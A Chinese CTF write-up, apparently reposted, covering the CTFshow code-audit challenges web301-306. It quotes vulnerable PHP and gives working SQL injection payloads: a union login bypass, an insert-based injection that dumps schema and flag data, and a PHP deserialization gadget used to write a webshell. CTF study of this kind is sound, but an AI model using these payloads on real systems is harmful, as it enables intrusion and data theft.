设为首页收藏本站
开启辅助访问

CTFshow

您所在的位置:网站首页 ctfshow web入门3 CTFshow

CTFshow

2023-10-17 02:28| 来源: 网络整理| 查看: 265

前言

开始快乐的代码审计篇。

web301

源码下载下来分析一波,大部分都是无用的文件,主要还是在checklogin.php那里:

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if($result->num_rows $_SESSION['login']=1; $result->free(); $mysqli->close(); header("location:index.php"); return; }

无过滤的SQL注入,让查出的内容和post传的密码相等即可,利用union注入:

userid=-1' union select 1%23&userpwd=1

登录成功后即可看到flag。

web302

改了这里:

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){ function sds_decode($str){ return md5(md5($str.md5(base64_encode("sds")))."sds"); }

其实没啥影响,说白了就是改一下联合注入查出来的值,让这值和你post传的密码经过sds_decode()这个函数处理后的结果一样就可以了。:

userid=-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'%23&userpwd=1 web303

源码下载一波,发现新增了2个php文件还有一个.sql,把.sql都看一下,发现了这个:

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

用户名和密码也都给了,感觉不对劲啊,再看看之前的那个checklogin.php:

if(strlen($username)>6){ die(); }

应该是没法注入了,试试直接登录,成功了,那没事了。看一下新增的php文件,有新的注入点:

$dpt_name=$_POST['dpt_name']; $dpt_address=$_POST['dpt_address']; $dpt_build_year=$_POST['dpt_build_year']; $dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0"; $dpt_cert_number=$_POST['dpt_cert_number']; $dpt_telephone_number=$_POST['dpt_telephone_number']; $mysqli->query("set names utf-8"); $sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';"; $result=$mysqli->query($sql);

还是无过滤的insert注入,直接注就行了。

dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number= dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number= dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number= web304

说是加了waf,但是感觉没加啊。。用上面的payload还是能打。

web305

新加了class.php,反序列化的洞:

public function __destruct(){ file_put_contents($this->username, $this->password); }

挺简单的没啥好说的,写个马上去查flag就行了: 在这里插入图片描述

也可以直接连数据库,注意类型改成mysqli,然后密码的话给的源码里的密码是假的,去conn.php里面找: 在这里插入图片描述

在里面也能找到flag。

web306

mvc结构的代码,大致审一下,把class.php和dao.php看一下就知道考点了:

'class.php' class log{ public $title='log.txt'; public $info=''; public function loginfo($info){ $this->info=$this->info.$info; } public function close(){ file_put_contents($this->title, $this->info); } } 'dao.php' public function __destruct(){ $this->conn->close(); }

很明显的反序列化,全局搜索一下unserialize,发现login.php和index.php里面都有,但是login.php那里的不能用,因为需要dao.php和class.php,login.php那里只require了class.php,但是index.php那里require了dao.php,而dao.php又require了class.php,所以index.php那里可以。:



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3